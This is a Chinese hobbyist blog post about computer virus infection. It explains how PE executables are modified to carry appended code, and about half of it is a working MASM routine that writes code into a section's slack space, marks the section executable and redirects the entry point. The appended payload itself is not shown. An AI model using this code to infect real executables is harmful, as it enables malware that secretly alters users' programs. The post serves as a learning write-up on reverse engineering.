初探计算机病毒世界(1)--感染

时间:2022-08-19 15:03:04

    破解和逆向工程,在很多人眼里看起来可能比较陌生,或者感觉遥远。是的,面对一行又一行的汇编代码,面对陌生的寄存器,面对由push、pop、call、ret等命令引起的堆栈数据的变化,很多人望而却步。是啊,高级语言中的变量都变成了一个又一个看似毫无意义的地址,顺序、循环、分支被分解为各种jx xxxx跳转,没有静态库可以调用,没有编译器的语法检查和内存访问检查,稍有疏忽程序就会出现非法操作。这就是汇编语言——更接近机器,而更远离人类自然语言。而高级语言是让计算机做了很多工作,使人们可以更方便、快捷的编写出自己想要的计算机程序。然而汇编代码是程序在cpu上运行的每一条指令,看懂了汇编语言,那么任何程序都没有任何秘密可言了!
    前一段时间研究了一阵子的破解和逆向工程,逆向了扫雷程序,破解了WINDOWS优化大师,也算是小有收获了。现在想研究一下计算机病毒。计算机病毒其实就是一段程序代码,不过它一般是附加在正常的程序之中,可以自我复制传播,通常有一定的破坏性。它具备了生物病毒的特点,因此得名。
    首先把罗云彬的《Windows环境下32位汇编语言程序设计》第17章的AddCode的代码翻出来了。这个程序是往一个PE文件中附加一节(section),在节中加入附加代码,并把入口地址改成新加的代码的第一条指令的地址,当附加代码运行完后再跳转到原来的代码运行。
    之前看第一遍的时候基本就是囫囵吞枣的看完的,有很多地方不求甚解,这次决心把它彻底搞清楚。一共是四个文件:
    Main.asm              界面主程序
    _ProcessPeFile.asm    处理文件的程序
    _AddCode.asm          要附加的代码
    _GetKernel.asm        由于附加代码没有导入表,所以一切API函数都要自己获取。
    
    看Main.asm还比较容易,无非就了WINDOWS对话框程序,消息处理函数中处理点击菜单项,调用windowsAPI显示打开文件对话框。
    接下来就是处理选择的文件了,程序在_ProcessPeFile.asm中。一开始先复制一个PE文件的复本,在这个复本上进行修改。再往下看,就费劲了。虽然有些注释,但还是费劲,一条注释下面N条语句。知道是注释的这个功能,可是还是不容易看懂。想个办法,把《加密与解密》翻开看着PE文件的结构和字段意义,把每一条语句都注释出来。终于看明白了。
    要一个PE文件里加入一节的信息,并把代码写进去,需要修改以下几个地方:
   1) IMAGE_NT_HEADERS.FileHeader.NumberOfSections += 1; 这里记录了文件中SECTION的数量
   2) IMAGE_NT_HEADERS.OptionalHeader.SizeOfCode += 附加代码长度
   3) IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage += 附加代码长度
   4) 然后在原文件最后一个节表的后面增加一个节表,新节表的各个字段需做如下设置
      a) SizeOfRawData = 依IMAGE_NT_HEADERS.OptionalHeader.FileAlignment对齐后的 附加代码长度
      b) VirtualAddress = 依IMAGE_NT_HEADERS.OptionalHeader.SectionAlignment对齐后的的 附加代码段长度
      c) Misc.VirtualSize = 附加代码段的长度
      d) Characteristics = IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
      e) PointerToRawData = 原最后一节的 PointerToRawData + 原最后一节的 SizeOfRawData
   5) IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint = 新节的VirtualAddress + 附加代码中第一条指令的偏移量
   6) 修改附加代码最后的跳转地址为原入口地址
   这样加入一节可能会有问题,如果最后一个节表到数据区的的间隔不足以再放下一个节表(40个字节)的话,这种方法会破坏第一节的数据区。索性的是绝大多数的EXE文件这里的空隙都大于40个字节。这样的做法还有一个特点就是会改变文件大小。
   搞清楚了这个程序的原理,我就想,其实两个相临的节数据之间还是有空隙的,何不用这个空隙来写入附加代码呢?这样1)~4)数据都不用修改,只要再改变一下插入数据那一节的节中 Misc.VirtualSize 字段即可(其实不改它也是可以的,对于反复感染会带来一些麻烦),具体代码如下(MASM版本)
    _ProcessPeFile proc 
  local @szNewFile[MAX_PATH]:byte
  local @hFile,@dwTemp,@dwEntry,@lpMemory
     LOCAL   @oldEntryPoint, @FileSize
  pushad

  invoke lstrcpy,addr @szNewFile,addr szFileName
  invoke lstrlen,addr @szNewFile
  lea ecx,@szNewFile
  mov byte ptr [ecx+eax-4],0
  invoke lstrcat,addr @szNewFile,addr szExt    ;构造新文件名
  invoke CopyFile,addr szFileName,addr @szNewFile,FALSE ;复制一个副本
 
  ;打开文件
  invoke CreateFile,addr @szNewFile,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or /
   FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
  .if eax == INVALID_HANDLE_VALUE
   jmp _Ret
  .endif
  mov @hFile,eax
  invoke GetFileSize,@hFile, NULL      ;获取文件大小
  mov @FileSize, eax
  invoke GlobalAlloc,GMEM_ZEROINIT,@FileSize   ;申请与文件一样大的内存
  mov @lpMemory, eax
  invoke ReadFile,@hFile, @lpMemory, @FileSize, addr @dwTemp, NULL ;将文件读入内存
  mov esi, @lpMemory
  assume esi:ptr IMAGE_DOS_HEADER
  add esi, [[esi].e_lfanew]
  assume esi:ptr IMAGE_NT_HEADERS     ;esi指向IMAGE_NT_HEADERS
  movsx ecx, [esi].FileHeader.NumberOfSections ;获取SECTION数目,下面遍历所有节表用
  push [esi].OptionalHeader.AddressOfEntryPoint
  pop @oldEntryPoint        ;保存旧的入口RVA
  mov edx, esi
  add edx, sizeof IMAGE_NT_HEADERS
  assume edx:ptr IMAGE_SECTION_HEADER    ;edx指向IMAGE_SECTION_HEADER
 ScanSection:          ;循环判断SizeOfRawData-VirtualSize
              ;是不是大于附加代码长度
  mov eax, [edx].SizeOfRawData
  sub eax, [edx].Misc.VirtualSize
  cmp eax, offset APPEND_CODE_END - offset APPEND_CODE
  jg MoveData
  add edx, sizeof IMAGE_SECTION_HEADER
  loop  ScanSection
  jmp Free          ;没有符合条件的节,释放内存,关闭文件
 MoveData:
  mov ebx, [edx].PointerToRawData
  add ebx, [edx].Misc.VirtualSize ;这里是相对地址
  add ebx, @lpMemory           
  push esi      ;保护esi
  lea esi, offset APPEND_CODE        ;准备esi 寄存器, SRC
  mov edi, ebx           ;准备edi, DST
  mov ecx, offset APPEND_CODE_END - offset APPEND_CODE ;准备ecx, 存入附加代码长度
  cld
  rep movsb            ;copy附加代码到文件内存中
   pop esi             ;恢复esi的值
    sub edi, 5            ;末尾代码是push XXXXXXXX
                  ;     RET
                  ;所以要把XXXXXXXX修改成你想要的地址
                  ;就要向前移动5个字节    
  mov eax, @oldEntryPoint        ;eax得到原入口地址的RVA
  add eax, [esi].OptionalHeader.ImageBase    ;eax加上exe文件载入基址
  mov dword ptr[edi], eax          ;修改附加代码后的跳转地址
  or [edx].Characteristics, 0E0000020h    ;修改该节属性为可以运行
  mov eax, [edx].VirtualAddress       ;得到原来该节的起始RVA
  add eax, [edx].Misc.VirtualSize      ;加上内存映射大小
  add eax, offset _NewEntry - offset APPEND_CODE  ;在跳过附加代码开头的数据区
  mov [esi].OptionalHeader.AddressOfEntryPoint, eax ;修改入口地址
  
  ;下面一句是可选的,如果不改变的话,二次感染会发生问题,附加代码出现死循环,有兴趣的朋友可以试试
  add [edx].Misc.VirtualSize, offset APPEND_CODE_END - offset APPEND_CODE
  
  ;移动文件指针到文件开头
  invoke SetFilePointer,@hFile, 0, NULL, FILE_BEGIN
  ;写数据到文件
  invoke WriteFile, @hFile, @lpMemory, @FileSize,addr @dwTemp, NULL
  
 
 Free:
  invoke GlobalFree,@lpMemory    ;释放内存
  invoke CloseHandle,@hFile     ;关闭文件
  _Ret:
  assume esi:nothing
  popad
  ret
 
 _ProcessPeFile endp